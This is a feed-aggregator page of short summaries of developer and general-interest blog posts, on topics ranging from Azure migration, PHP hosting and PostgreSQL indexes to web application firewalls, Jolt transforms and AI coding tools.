    Moving files between environments can be a headache. Whether it’s from on-premises to Azure, or from AWS to Azure, there’s always the same challenge: how do you do it securely, at scale, and without reinventing the wheel? Traditionally, you might reach for tools like AzCopy, Azure Data Box, or Azure Migrate, but there’s a new option designed to make migrations smoother: Azure Storage Mover. In this post, I’ll walk you through what Azure Storage Mover is, highlight its new cloud-to-cloud migration capability for moving data from Amazon S3 to Azure Blob Storage, and show you how to get started. Azure Storage Mover became generally available in February 2022, it was launched as a fully managed hybrid migration service that made moving your files and folders to Azure easy. Azure Storage Mover…  ( 11 min )
    How to deploy a PHP application in InfinityFree
    Step 1: Account Setup Step 2: Upload Project Files Open File Manager: In the cPanel, find and click "Open File Manager". *Step 3: Set up the Database * Import Database: In phpMyAdmin, go to the "Import" tab. Click "Choose File", select your local .sql database file, and click "Go" to upload it. Step 4: Configure Your PHP Project Edit Configuration File: In the File Manager, locate your database configuration file (e.g., config.php, db.php, or similar). Open it for editing. Update Credentials: Change the localhost database credentials to the new InfinityFree credentials. You can find the required details (DB Hostname, DB Name, DB Username, DB Password) in your client area under "MySQL Details": DB Server (Hostname): This will be a specific hostname, not localhost. DB Username: A unique username generated by InfinityFree. DB Password: The password you set for the hosting account (or database password if you set one separately). DB Name: The name you provided when creating the database in cPanel. Save Changes: Save and close the configuration file. Your PHP project should now be deployed and accessible via the domain name you selected in Step 1. You may need to clear your browser cache to see the changes.  ( 7 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    ‘Two for the Money’ Rewatchables Recap Bill Simmons, Chris Ryan, and Cousin Sal fire up their favorite Monday night parlay to revisit the 2005 sports thriller Two for the Money (starring Matthew McConaughey, Al Pacino, and Rene Russo). They kick things off with a cold open, dive into the movie’s high-stakes betting dynamics, pick their most rewatchable scene, and roll out their signature rating categories. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is powered by Subaru’s Share the Love® Event and State Farm. Don’t forget to hit up The Ringer’s YouTube channels and social feeds to keep the conversation going! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    CinemaSins is back on the yellow brick road with “Everything Wrong With The Wiz In 15 Minutes Or Less,” poking fun at the classic now that Wicked’s back in theaters. They promise a rapid-fire rundown of every cinematic sin, while nudging you to explore their site, YouTube channels, and Linktree for even more film nitpicking. They’re also begging for your sinful opinions via a quick poll, asking for Patreon love, and inviting you into their Discord, Reddit, Instagram, and TikTok communities—plus you can follow their writers Jeremy, Aaron, Jonathan, Deneé, Ian, and Daniel across social media. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is a snark-packed CinemaSins breakdown of the film, where the team rips into every plot hole, cheesy one-liner and over-the-top dance-fight moment. If you’ve ever wondered what it sounds like when nitpickers tackle K-Pop–fueled demon slaying, this video has you covered in signature Cinemasins style. Along the way you’ll find links to their main site, YouTube spinoffs (@TVSins, @CommercialSins), a fan poll, Patreon support and a Linktree for all the latest updates. They even shout out their writers and social handles, plus invite you to join the Discord and Reddit community for more sinful fun. Watch on YouTube  ( 6 min )
    Why Spirituality is Your Secret Superpower in Modern Life
    In a world that never seems to slow down, we are constantly chasing deadlines, notifications, and the next big thing. We are more connected than ever, yet many of us feel a growing sense of disconnection from ourselves and what truly matters. Amidst this digital noise and constant hustle, a quiet but powerful trend is emerging: a return to spirituality. But what does that even mean today, and why is it becoming so essential? Modern life often measures success in material terms: career advancements, financial gains, and social status. While these can be rewarding, they don't always fill the deeper human need for purpose. Spirituality offers a different lens through which to view life. It encourages you to look inward and ask the big questions: Who am I? What is my purpose? What brings me…  ( 8 min )
    Securing Cross-Border E-Commerce with SafeLine: A Case Study of Protecting an Independent Online Store
    For cross-border e-commerce businesses, the digital marketplace is filled with opportunities, but it also comes with its share of risks. When running an online store that serves customers in different countries, the website is constantly exposed to a range of cyber threats, from bot attacks and credit card fraud to data scraping and denial-of-service (DoS) attacks. One such e-commerce business, an independent store selling specialized products across multiple countries, faced a growing number of security challenges. After suffering from bot-driven fraud attempts, scraping, and some SQL injection attempts, the owner turned to SafeLine, a self-hosted Web Application Firewall (WAF), to enhance security, regain control, and ensure the integrity of the business. This case study details how Sa…  ( 9 min )
    The Library Heist: How PostgreSQL Indexes Are Like Planning the Perfect Crime (And Why You're Probably Using the Wrong One)
    The Crime Scene It was 2 AM on a Tuesday when my phone exploded with alerts. Our e-commerce platform was dying. Response times had ballooned from 200ms to 45 seconds. The CPU graphs looked like a heart monitor during a cardiac arrest. I logged in, hands shaking, coffee forgotten. The culprit? A seemingly innocent query: SELECT * FROM products WHERE description @@ to_tsquery('wireless bluetooth headphones') ORDER BY created_at DESC LIMIT 20; My "fix" from earlier that day: adding a B-Tree index on the description column. The problem: I'd brought a lockpick to a safe-cracking job. This disaster taught me something crucial: PostgreSQL indexes aren't just about "making queries faster." They're specialized tools, each designed for specific types of heists—I mean, queries. Using the wrong …  ( 15 min )
    Why Lithium Batteries Fail
    Understanding the hidden failure mechanisms in Li-ion/Li-polymer batteries for better hardware design. Lithium batteries power almost everything from IoT devices and wearables to drones and robotics. However, many developers struggle with unexpected battery failures — sudden drops in runtime, swelling, overheating, or even thermal runaway. Understanding why lithium batteries fail is crucial for makers, engineers, and hardware developers to build reliable devices. This article breaks down the technical causes, symptoms, and engineering considerations. Overcharging & Voltage Stress What happens: Charging a Li-ion battery beyond its maximum voltage (usually 4.2V per cell) leads to chemical stress: Formation of lithium metal on the anode (lithium plating) Breakdown of the electrolyte I…  ( 8 min )
    The No-Code and Low-Code Revolution: Building the Future Without Writing a Line of Code
    Overview No-code and low-code development platforms are transforming the way we create software. By replacing complex programming languages with intuitive visual interfaces, these tools empower almost anyone to build applications, automate workflows, and solve business problems. This movement is critical now because it addresses the pressing need for faster innovation and helps bridge the ever-widening gap between the demand for digital solutions and the limited supply of professional developers. Imagine having a brilliant idea for an app that could solve a major pain point for your team or customers. In the past, the path from idea to reality was a long and expensive one, requiring specialized coding skills and significant development resources. That barrier is crumbling. The rise of no…  ( 9 min )
    England's Circular Economy Growth Plan: What it Means for CRE
    The drive towards a circular economy in the UK is gaining momentum, with the Government's 'Circular Economy Growth Plan' for England now anticipated in the new year. This strategic shift, despite a slight delay from its initial autumn 2025 consultation target, signals a significant evolution in how industries, including commercial real estate (CRE), will approach resource management. For property owners and asset managers, understanding this impending framework is crucial, as it will shape future operational practices, compliance requirements, and investment decisions, moving away from a traditional 'take-make-dispose' model towards one that values reuse, repair, and recycling. The traditional linear economy model, prevalent for decades, has led to immense waste generation, resource deplet…  ( 8 min )
    Log Ordering in Distributed Systems
    Problem Definition Ordering log events produced across distributed systems is fundamentally constrained by the nature of independent physical clocks. Wall-clock timestamps cannot provide a reliable global sequence, because each machine maintains its own oscillator with unavoidable drift. Even under NTP or similar protocols, timestamp discrepancies accumulate continuously due to rate differences, network delays, and local scheduling effects. Any distributed operation introduces uncertainty in temporal order. Network latency, buffering, batching, and concurrency all contribute to the inability to determine whether two events across services occurred in a particular order when relying solely on physical time. The concept of temporal ordering is meaningful only within a single clock domain; …  ( 7 min )
    What Docker Image Tag Should You Actually Use?
    I’ve been working with containerized applications for a while, and one thing that always confused me in the beginning was Docker image tagging. I just followed whatever the team did, pushed images, and hoped things worked. But over time.. especially when handling multi-tenant apps, shared registries, and too many deployments. I started to see how bad tagging decisions can break everything. So here’s my experience and what I learned the hard way. The moment I realized “latest” is a trap When I first started using Docker, I thought: “Ah, just push it with latest. Simple.” Until one day, a tenant’s production environment suddenly rolled back to a previous version. Because someone else on the team pushed a new image with the same latest tag. The registry replaced it silently. The cluster pulle…  ( 8 min )
    SafeLine: A Modern Take on Self-Hosted Web Application Security
    The modern web is a battlefield. Between SQL injection attempts, automated credential stuffing, aggressive scrapers, and waves of bot traffic, every public-facing site is exposed to constant threats. To keep applications safe, developers and sysadmins have long relied on Web Application Firewalls (WAFs). Most teams default to cloud WAFs — offerings like Cloudflare, AWS WAF, or Akamai. They’re convenient and quick to deploy, but sometimes you need more than convenience. Maybe you need full control over traffic, maybe privacy regulations prevent you from routing data through third-party networks, or maybe the long-term subscription cost isn't appealing. That’s where self-hosted WAFs step in. And among the new generation of self-hosted solutions, SafeLine has been gaining traction for taking…  ( 8 min )
    Convert millisecond price gaps into real profits
    Building a Real-Time Crypto Arbitrage Monitoring System RisingWave Labs ・ Nov 25 #productivity #bitcoin #database #datascience  ( 6 min )
    The Art of AI Model Engineering: Fine-Tuning and Context Optimization
    There is a misconception that "AI engineering" is just typing clever phrases into a chat window. In reality, ai model engineering is a rigorous technical discipline focused on optimizing the performance, latency, and behavior of probabilistic models. For developers building vertical-specific applications, the out-of-the-box performance of a foundation model is rarely enough. You need to engineer the model to fit your domain. Context Engineering and Window Management ai model engineering starts with context. The "context window" is the RAM of your AI application. Context Stuffing: Strategies to fit the most relevant information into the prompt without exceeding token limits. Token Optimization: Compressing verbose JSON data into CSV or Markdown formats to save tokens and improve model reaso…  ( 7 min )
    My AI-Powered Cross-Platform UI with Hot Design
    🌟 What I Built I recreated a modern cross-platform UI inspired by a beautifully structured mobile dashboard layout. My goal was to take a clean, minimal interface concept and rebuild it using Uno Platform Studio Pro’s Hot Design tool, enhanced with the AI-powered Hot Design Agent. This concept was chosen because it allowed me to explore live UI adjustments, dynamic layouts, and Hot Reload synchronization — giving me full control over design refinement while the app was running. 🎨 Original Design Reference I selected a sleek mobile UI concept featuring: A hero header Card-based layout Rounded controls A modern light theme (Screenshots would appear here in the final post.) 🎥 Demo I built and ran the project across supported targets using Uno Platform. Running the app directly from the IDE…  ( 7 min )
    Building a Real-Time Crypto Arbitrage Monitoring System
    Arbitrage is a simple strategy. You buy an asset on one exchange where the price is low and sell it on another where the price is high. In crypto markets, these price differences, or spreads, appear and vanish in milliseconds. If your data pipeline takes five seconds to process a batch of prices, the opportunity is already gone. This post demonstrates how to use RisingWave—an open-source real-time event streaming platform—to detect arbitrage opportunities with sub-second latency using standard SQL. The Engineering Bottleneck Arbitrage requires monitoring fragmented liquidity across Binance, Coinbase, OKX, and DEXs simultaneously. This creates three specific engineering hurdles. Velocity: During volatility, you might ingest over 10,000 price ticks per second. Synchronization: You cannot c…  ( 11 min )
    Cloud Fax Intelligence: The Hidden Engine Behind Modern Compliance
    In many organizations, fax has quietly transformed from a loud, paper-driven chore into a silent digital backbone for secure, compliant communication. This evolution is not just about replacing machines; it is about redesigning how information flows through critical workflows across the healthcare, finance, legal, and government sectors. Traditional faxing chained teams to physical devices, manual dialing, paper jams, and filing cabinets, slowing down approvals and increasing the risk of misplaced or exposed documents. Digital fax platforms shift this work into the cloud, providing centralized control over transmissions, storage, and routing so that documents move quickly while remaining auditable and secure. Instead of printing and scanning, users send documents directly from core app…  ( 8 min )
    From Prototype to Production: The State of Generative AI Development in 2025
    The "hello world" phase of generative ai development is officially over. We have moved past the era where simply calling an OpenAI API was enough to impress stakeholders. As we settle into 2025, the focus for software engineers has shifted entirely from experimentation to reliability, observability, and cost-efficient scaling. Building production-grade generative systems requires a rigorous engineering mindset. It is no longer just about prompt engineering; it is about architectural patterns that ensure determinism in a non-deterministic environment. The most significant trend we are seeing is the move away from monolithic LLM calls toward compound systems. In professional generative ai development, reliance on a single model's raw output is often a recipe for hallucination and latency. In…  ( 7 min )
    How AI is Reducing Hiring Bias and Promoting Equal Opportunity in Recruitment
    This is where AI-powered recruiting is stepping in as a game-changer. With advances in automation, predictive analytics, and conversational AI, organizations are finally gaining tools that help remove bias, widen talent pools, and create a more equitable hiring experience for every candidate. Instead of replacing human recruiters, AI is becoming an intelligent partner—supporting better decisions, improving efficiency, and fostering fairness. This shift is reshaping recruitment practices across industries, making fair hiring not only possible, but scalable. Bias—whether conscious or unconscious—affects hiring decisions more than we often realize. Traditional recruitment heavily depends on human judgment, which can unintentionally favor certain backgrounds, education levels, appearances, or …  ( 9 min )
    Day 01: Why You Can’t Afford to Provision Infrastructure Manually Anymore
    Today marks the exciting start of the #30daysofawsterraform challenge with @piyush Sachdeva, and Day 01 immediately tackled the most critical question in modern cloud engineering: Why do we need Infrastructure as Code (IaC)? The key takeaway is that relying on the cloud console for infrastructure management is a recipe for scaling issues, high costs, and system inconsistencies. Our goal is to move from manual clicks to automated, version-controlled code. The Core Problem: Manual Cloud Operations Don't Scale Using the cloud console (GUI) might seem easy for creating a single resource, but complexity quickly leads to disaster in a production environment. Imagine provisioning a complex three-tier application. This involves setting up the Virtual Private Cloud (VPC), multiple servers (EC2), lo…  ( 8 min )
    What is Laravel Pint?
    Laravel Pint is a zero-configuration PHP code style fixer built specifically for Laravel projects. It automatically formats your PHP code to follow consistent styling standards without requiring manual setup or complex configuration files. Pint comes pre-installed with all new Laravel applications (version 9.21 and newer), so you can start using it immediately after creating a project. It works by scanning your PHP files and automatically fixing code style issues based on Laravel's opinionated coding standards. Laravel Pint is built on top of PHP-CS-Fixer, a popular PHP code formatting tool. The key difference is that Pint simplifies the setup process, while PHP-CS-Fixer requires complex configuration files written in PHP, Pint uses simple JSON configuration and works out-of-the-box with s…  ( 9 min )
    The Secret Life of Go: Variables & Types
    Chapter 2: Variables, Types, and the Art of Declaration The morning light streaming through the tall windows of the Whitmore Archive had a different quality today—sharper, more purposeful. Ethan arrived precisely at ten, as Eleanor had suggested, carrying two cups of coffee in a cardboard tray. The aroma of single-origin Ethiopian beans preceded him down the stairs. Eleanor looked up from her desk, one eyebrow raised in approval. "Bluestone Lane?" "They remembered you from yesterday," Ethan said, setting her cup down carefully. "The barista said 'the usual for the elegant woman who knows her coffee.'" "I may have been going there since 1994." Eleanor lifted the cup and inhaled. "Perfect. Now sit. Today we learn about identity." Ethan pulled out the spare laptop. "Identity?" "In Go, every…  ( 14 min )
    Pourquoi changer sera difficile… (Réflexion personnelle)
    Il m’arrive souvent, entre deux lignes de code, deux features à shipper ou deux idées de startup; de repenser à l’environnement dans lequel j’ai grandi. Un environnement qui, qu’on le veuille ou non, influence profondément notre manière de travailler, de penser, de créer et même de rêver. En RDC, beaucoup de gens ont vécu des situations qu’on aurait du mal à imaginer dans un pays “normal”. Des injustices tellement profondes qu’elles laissent des traces invisibles. Grandir dans ce contexte, ce n’est pas juste vivre. Je vois des jeunes déjà épuisés psychologiquement alors qu’ils n’ont même pas commencé leur vie. Le contraste le plus cruel ? Alors oui, changer sera difficile. Et pourtant, malgré tout ça, il existe une lueur. Peut-être que notre rôle, à nous, c’est d’allumer une lumière. Ce n’est pas un article technique. C’est juste… un rappel. Une pensée. Un morceau de vérité d’un développeur qui code dans un pays où, parfois, rien n’encourage à continuer mais où, paradoxalement, tout nous oblige à ne pas abandonner.  ( 7 min )
    Boost Developer Revenue with Monetzly's AI Conversation API
    Unlocking Sustainable AI Innovation: Monetizing Conversations with Monetzly In a world where AI applications are proliferating, developers face a significant challenge: how to monetize effectively without disrupting user experience. Enter Monetzly, the first dual-earning platform designed specifically for AI conversations. We’re building a three-sided marketplace that connects developers, advertisers, and users, creating win-win-win scenarios for everyone involved. As developers, you know the struggle of implementing monetization strategies without alienating your users. Subscription models and paywalls can deter engagement and undermine the very experience you strive to create. But what if there was a way to generate revenue while enhancing user experience? Monetzly offers a unique sol…  ( 7 min )
    What Can QA Teams Learn from Recent FDA Inspections at Rubicon Research (India)?
    Recent FDA inspections at Rubicon Research’s India facilities (Satara and Thane) have highlighted persistent GMP risks that matter to every pharma QA team: documentation gaps, inadequate process controls and validation, weak CAPA and complaint systems, and an increasing emphasis on data integrity and third-party oversight. QA teams should respond by tightening design-of-experiments and validation practices, rebuilding CAPA into a data-driven system, strengthening complaint triage and MDR-like reporting for combination products, and instituting rigorous data governance. Below you’ll find a detailed, actionable report with evidence, trends, and a step-by-step preparedness plan tailored for life-science and pharmaceutical manufacturers. This information is sourced from the Atlas Compliance to…  ( 13 min )
    🚀 New SaaS Website Template Added: "Database" Is Now Live
    We’re excited to announce a brand-new addition to Angular Material Blocks — introducing Database, a complete website template designed for SaaS products, developer tools, and modern cloud platforms. Database is built with the latest Angular ecosystem: Angular 20 Angular Material 20 Tailwind CSS 4 Zoneless architecture Light & Dark theme support Markdown docs using marked.js Shiki-powered code highlighting SaaS website template showcasing DataBase product with responsive desktop and mobile interfaces highlighting web application features Landing page for a modern database service with usage statistics and pricing information Database pricing page showing three subscription tiers with different features and pricing for Starter, Teams, and Business plans. Changelog is written using Markdown with custom angular components and redered using markedjs! Shiki is the goto highlighter for codes! And it was perfect fit for this template. Whether you’re launching a new SaaS, building a DevTool, or creating documentation for your product, Database gives you a professional, production-ready foundation to ship faster. 👉 Live Preview: https://template-database.angular-material.dev/ https://ui.angular-material.dev/templates#database https://ui.angular-material.dev/ If you have any feedback or need help integrating the template into your Angular project, we’re always happy to help! Happy coding!  ( 6 min )
    Can AI Replace Programmers by 2030? Here’s What the Future of Coding Really Looks Like
    Imagine it’s 2030. You walk into your home office, grab your coffee, and fire up your IDE. But something’s different. Your coding partner today isn’t just a team member on Zoom—it’s an AI assistant that already understands the project’s architecture, knows the quirks in your codebase, and can suggest optimizations before you even type a single line. It’s not science fiction—it’s a near-future reality that developers are starting to glimpse today. This scenario may sound intimidating to some. Are we edging closer to a world where programmers are obsolete? Will AI really replace human developers in the next decade? Let’s explore what the future of coding actually looks like. Spoiler: It’s not about humans versus machines—it’s about humans working with machines in ways we’ve never seen before…  ( 9 min )
    Breaking Down the True Cost of App Development in Canada in 2026
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    7 Must-Try Open-Source AI Coding Models for Privacy, Speed, and Control
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    JavaScript Clean Code Mastery: Part 7 - Real-World Refactoring and Tools (Series Finale!)
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    Daily Tech News Roundup - 2025-11-25
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    Cursor AI 2.0: The AI Code Editor That Will 10x Your Productivity in 2025
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    JavaScript Clean Code Mastery: Part 6 - Code Structure and Logic Flow That Makes Sense
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    With generative AI and coding agents, we're producing code at unprecedented speed while accumulating dependencies to match. Evidence now shows AI doesn't just suggest dependencies: it hallucinates ones that don't exist. In this case, a package called "huggingface-cli" was downloaded thousands of times, including by teams at Alibaba, before anyone realized it was completely fictitious. Each hallucinated package name becomes a supply chain vulnerability waiting to be exploited, with attackers racing to register them before developers discover the mistake. But hallucinations are just one risk in this acceleration of code generation. Even with legitimate packages, the speed creates problems. In the past, platform and security teams could influence dependency choices through documentation, appr…  ( 8 min )
    JavaScript Clean Code Mastery: Part 5 - Array Methods and Immutability That Transform Your Code
    Welcome Back, Code Cleaners! In Part 4, we conquered async/await and error handling. Today, we're tackling something that separates junior developers from senior developers: mastering array methods and immutability. I once reviewed code with 47 for-loops. Forty. Seven. The file was 800 lines of nested loops, mutated arrays, and index tracking variables. Refactoring it with array methods cut it down to 200 lines—75% less code that was 10x more readable. Today's Mission: Replace loops with map, filter, reduce Master immutable array operations Avoid mutation bugs Chain array methods elegantly Know when NOT to use array methods Let's transform your loops into clean, declarative code. The Problem: Manual loops for transforming data are verbose and error-prone. const users = [ { name: 'alice…  ( 14 min )
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    AI's impact on white-collar jobs and layoffs is reshaping office life in palpable ways. Picture an open plan office where rows of cubicles blur into streams of code and dashboards. Algorithms flag redundant tasks and digital assistants draft reports in seconds. As a result, middle-management spreadsheets shrink and hiring plans face harsh review. Many knowledge workers now share their schedules with chatbots and automation routines. However, this shift does not erase human judgment or creativity. Instead, teams reorganize around strategy, empathy, and complex problem solving. Because AI handles data-heavy chores, roles focused on nuance gain value. But layoffs follow where firms chase efficiency without reskilling staff. Therefore managers must act quickly to retrain employees and redesign…  ( 15 min )
    HTTP vs HTTPS vs TCP vs UDP
    HTTP vs HTTPS vs TCP vs UDP: Finally Understand The Difference! 🏗️ If you've ever felt confused about these four acronyms that rule the internet, you're not alone. Most explanations get stuck in technical jargon, but today I'll give you a mental model that will make everything click forever. Here's the analogy that changes everything: This is the TRANSPORT LAYER - it decides HOW data moves between systems. TCP = Moving Truck (reliable, ordered, confirms delivery) UDP = Bike Messenger (fast, no guarantees, fire-and-forget) Why it comes first: Everything else gets built on top of this foundation. This is the APPLICATION LAYER - it defines WHAT the data means and how applications talk. HTTP = Open Floor Plan (everything visible, no security) HTTPS = Fortified Rooms (encrypted, secure, auth…  ( 8 min )
    Back with another cancerous code block to share
    Look at this bad boy I cooked up to extract a folder location from an error handling XD def extract_cwd(data): import re match = re.search(r'File "(.*?\.py)", line \d+, in ', data) if match: print(f"Current Working Directory (CWD): {match.group(1)}") else: print("CWD not found in the traceback string.") try: crash except Exception as e: from traceback import format_exc extract_cwd(format_exc()) # Output - :> Current Working Directory (CWD): path/to/script I also made a smaller version using subprocess, just change cd to pwd if on linux def extract(): from subprocess import run return run("cd", shell=True, check=True, capture_output=True, text=True, encoding='utf-8') That is all, thanks for tuning in.  ( 6 min )
    Building API Integrations Shouldn’t Require Re-Reading Docs Every Time
    Sometimes it feels like building software isn’t the hard part — rebuilding the same integrations over and over is. Every time I started a new project, I found myself: Searching for the same API docs Copy-pasting an old webhook handler Debugging the same auth flow Fixing missing env variables Rewriting the same config boilerplate None of it moved the project forward. It was just the tax you paid before the real work began. So I asked myself: "Why isn't there a reusable, production-ready playground of integrations for Next.js?" There wasn’t — so I built one. One place to grab verified real-world integrations Webhooks already implemented and tested Verified auth flows TypeScript-first patterns Examples that matched how modern Next.js apps are built Not tutorials. Not copy-paste snippets. Actual working building blocks. That’s what became Integrate API — a toolkit plus a Chrome extension that helps you ship integrations fast, without guessing. It now includes integrations for: Stripe Supabase SendGrid Liveblocks Meilisearch UploadThing And 10 more This saves time — and honestly sanity. If you're curious: 👉 https://integrateapi.io Would you want a feature like "generate integration per project type"? I’m exploring it — curious what devs think.  ( 6 min )
    Java JOLT built in functions
    =intSum =doubleSum =toString =toInteger =toLong =toDouble =toBoolean =size =join =substring =abs, =ceil, =floor =divide, =multiply, =minus =toTimestamp =formatTimestamp These functions work only inside modify-overwrite-beta or modify-default-beta operations. 1. JOLT Modify Operations Overview There are two modify operations: 1. modify-overwrite-beta Replaces the existing value Can use functions (=intSum, =multiply, etc.) Used for math/string/date transformations 2. modify-default-beta Only sets value if missing Good for default initialization How to use functions? Syntax: "fieldName": "=functionName(arg1, arg2, ...)" Arguments can be: Literal values JSON values referenced via @(n,key) Other function outputs 2. MATH FUNCTIONS -------------------------------------- …  ( 8 min )
    技術ブログにMermaidダイアグラムを導入した話【はてなブログ・DEV.to・Next.js対応】
    技術ブログにMermaidダイアグラムを導入した話【はてなブログ・DEV.to・Next.js対応】 はじめに 技術記事を書く時、フローチャートやシーケンス図があると格段に分かりやすくなりますよね。 今回、マルチプラットフォーム対応の技術ブログでMermaid記法によるダイアグラム表示に対応したので、その実装方法を紹介します! 対応したプラットフォーム: 📝 はてなブログ - カスタムJavaScriptで対応 🌐 DEV.to - Mermaidを画像に変換して投稿 ⚡ Next.js(Vercel) - クライアントサイドレンダリング Mermaidは、テキストベースでダイアグラムを描けるJavaScriptライブラリです。 記述例: graph TD A[ユーザー] -->|記事を書く| B[Markdown] B -->|変換| C[Mermaid] C -->|レンダリング| D[ダイアグラム表示] シンプルなテキストで、こんな感じの図が描けます。めっちゃ便利! はてなブログは標準でMermaidをサポートしていないため、カスタムJavaScriptで対応しました。 1) はてなブログの管理画面で「設定」→「詳細設定」を開く 2) 「headに要素を追加」に以下を貼り付け: .mermaid { background-color: #ffffff !important; padding: 20px; border-radius: 4px; margin: 20px 0; } .mermaid svg { background-color: #ffffff !important; …  ( 7 min )
    From Virtual DOM to Signals: Rethinking Reactivity
    The story of modern frontend frameworks has always revolved around change — how to detect it, represent it, and respond to it efficiently. React built its entire philosophy on a simple but powerful assumption: Changes in data and component state are unpredictable. To cope with this uncertainty, React introduced the Virtual DOM — But this design, while revolutionary in 2013, also came with a price. So here’s a question worth asking: What if that assumption was wrong? That’s the core idea behind Signals and Fine-grained Reactivity — This philosophy echoes what Ryan Carniato, the creator of Solid.js, often calls “reactivity without illusion.” In this 30-part series, we’ll dive deep into the mechanics, architecture, and design philosophy of Signals and fine-grained reactivity. Along the way, we’ll compare how frameworks like React, Vue, and Solid handle reactivity differently, This series is inspired by my open-source project, segnale-react, By the end of this journey, you’ll understand not just how Signals work, The next article begins right at the core — Stay tuned.  ( 7 min )
    Java JOLT Examples..
    1. REAL-WORLD JOLT PATTERNS These patterns cover 95% of JSON transformation tasks. Flattening deep JSON into simple key/value JSON Input { "user": { "profile": { "name": "Alice", "age": 30 }, "address": { "city": "Dhaka", "zip": "1000" } } } Spec [ { "operation": "shift", "spec": { "user": { "profile": { "name": "name", "age": "age" }, "address": { "city": "city", "zip": "zip" } } } } ] Output { "name": "Alice", "age": 30, "city": "Dhaka", "zip": "1000" } Flatten unknown dynamic keys Input { "env": { "JAVA_HOME": "/opt/java", "PATH": "/bin:/usr/bin", "USER": "root" } } Spec …  ( 9 min )
    I Tested Every Major AI Video Tool. Here’s The Only One I Actually Kept.
    Forget the hype train. If you want to create videos that actually tell a story, you need to stop waiting for Sora and start using Textideo. I have a confession to make. For the last six months, I’ve been suffering from "AI Fatigue." You know the feeling. Every morning, you open X (formerly Twitter) and see another mind-blowing demo. An astronaut swimming in coffee. A cinematic drone shot of a cyberpunk Tokyo. It looks incredible. It looks like the future. But when I actually tried to use these tools for my work, I hit a wall. I’m a content creator. I don’t need a 3-second clip of a cat flying a plane. I need to explain complex concepts. I need to visualize articles. I need narrative flow. When I tried to use the industry giants (you know the ones: Runway, Pika, the Luma Dream Machine), I…  ( 9 min )
    Supercharging Your Styles with CSS Functions (calc(), var(), and More)
    CSS has come a long way from being a simple tool for styling text and backgrounds. Today, it’s a powerful language that supports built-in functions, allowing you to perform calculations, reuse values, manipulate colors, and even adapt designs based on context — all without JavaScript. In this post, let’s explore some of the most useful CSS functions and how they can transform the way you write styles. Just as functions in programming languages make code more dynamic, CSS functions let you generate and compute values on the fly. They can: Keep styles flexible and responsive Eliminate repetitive hard-coded values Enable theme switching and runtime adjustments Improve maintainability by avoiding “magic numbers” The calc() function allows arithmetic operations (+, -, *, /) directly in CSS. css…  ( 8 min )
    sam3d Under the Hood: How Meta’s Model Makes Single-Image 3D Reconstruction Accessible to Developers
    As developers, we’re no strangers to the tradeoffs between 3D reconstruction quality, speed, and accessibility. For years, creating usable 3D assets required either expensive LiDAR hardware, complex multi-camera setups, or hours of manual touch-ups in Blender. But Meta’s sam3d is changing the game—let’s break down how this open-source tool turns a single RGB photo into high-fidelity 3D models, and why it’s a must-have for your next project. sam3d leverages two game-changing innovations: sam3d.world) to share tips, troubleshoot with fellow devs, and contribute to the open-source project. sam3d isn’t just advancing 3D reconstruction—it’s democratizing it. For developers tired of compromising on accuracy or accessibility, this tool opens up a world of possibilities—all from a single image. Have you tested sam3d yet? Share your project ideas in the comments, or tag a teammate who needs this in their toolkit! showdev #3d #ai #opensource #webdev #metaaiprojects  ( 7 min )
    A Stranger In a New Town: CsvPath metadata fields
    The horse half died by the time we came off the highland. That's why I don't name my horses. My boots had holes. My six was dry. Nothing in my pockets but metadata. What's a guy gotta do to get a drink in this town? Metadata is the wild west. A great example that goes beyond data is tags. A lot of you have probably noticed in AWS that tags are amazing. Amazingly hard to use well for any sizable project, let alone the enterprise. Same with the other cloud providers. Metadata is supposed to drive everything, ideally from metadata catalogs. But just you try figuring out how to capture consistent metadata across all your systems automatically so that they are up to date and consistent. Then you sit back and think, ok, I got that, so now what should I capture and how should I use it and how d…  ( 10 min )
    Mastering AWS CDK #3 - AWS CDK Development: Best Practices and Workflow
    AWS CDK Development: Best Practices and Workflow In the previous parts of this series, we covered Part1: AWS CDK fundamentals and Part2: components and commands. Now, let's explore how to structure your CDK projects effectively and implement best practices that will help you build maintainable infrastructure code. The typical AWS CDK development workflow follows these steps: Initialize a project with cdk init Edit the App definition to define your stacks Create stack definitions with the resources you need Write tests for your infrastructure code For the first deployment: Run cdk bootstrap to prepare your AWS environment Execute cdk deploy to deploy your resources For subsequent deployments: (Optional) Run cdk diff to check for changes Execute cdk deploy to update your resources Le…  ( 13 min )
    Erase and Rewind: Surgically Removing Bias from AI Models
    Erase and Rewind: Surgically Removing Bias from AI Models Imagine your groundbreaking AI, trained on a massive dataset, suddenly exhibits unwanted biases – perhaps discriminating against a specific demographic. Retraining from scratch is a time-consuming and expensive nightmare. But what if you could surgically remove the problematic data's influence, leaving the rest of your model intact? The key is understanding how that specific data subtly warped the model's learning landscape. Geometric-Disentanglement Unlearning (GDU) is a technique that treats model updates as movements in a high-dimensional space. The core idea is to decompose the desired "forgetting" update into two components: one that affects the retained knowledge and one that doesn't. We surgically apply only the component o…  ( 7 min )
    Stop decoding Hex manually. I built a Python J1939 Sniffer with a GUI (No Hardware Needed)
    After receiving the Top Docker Author badge last week for my Offline AI post (thanks everyone! 🙏), many of you asked about my workflow for hardware and vehicle networks. So today, I'm switching gears from AI to Heavy Duty Vehicles. If you work with CAN Bus or SAE J1939 (Trucks, Buses, Machinery), you know the pain: Professional tools are expensive: A Vector CANalyzer license costs thousands of dollars. Hex dumps are unreadable: Seeing 18FEF100 means nothing unless you memorize the J1939 spec. Hardware dependency: You usually need a physical adapter (PCAN, Kvaser) just to test your code. To solve this, I built a Python-based J1939 Sniffer that decodes PGNs automatically and includes a Simulation Mode for hardware-free development. Standard CAN (11-bit) is simple. But J1939 uses 29-bit E…  ( 7 min )
    Boost Your SDK Integration: Monetize Conversations Like Google Ads
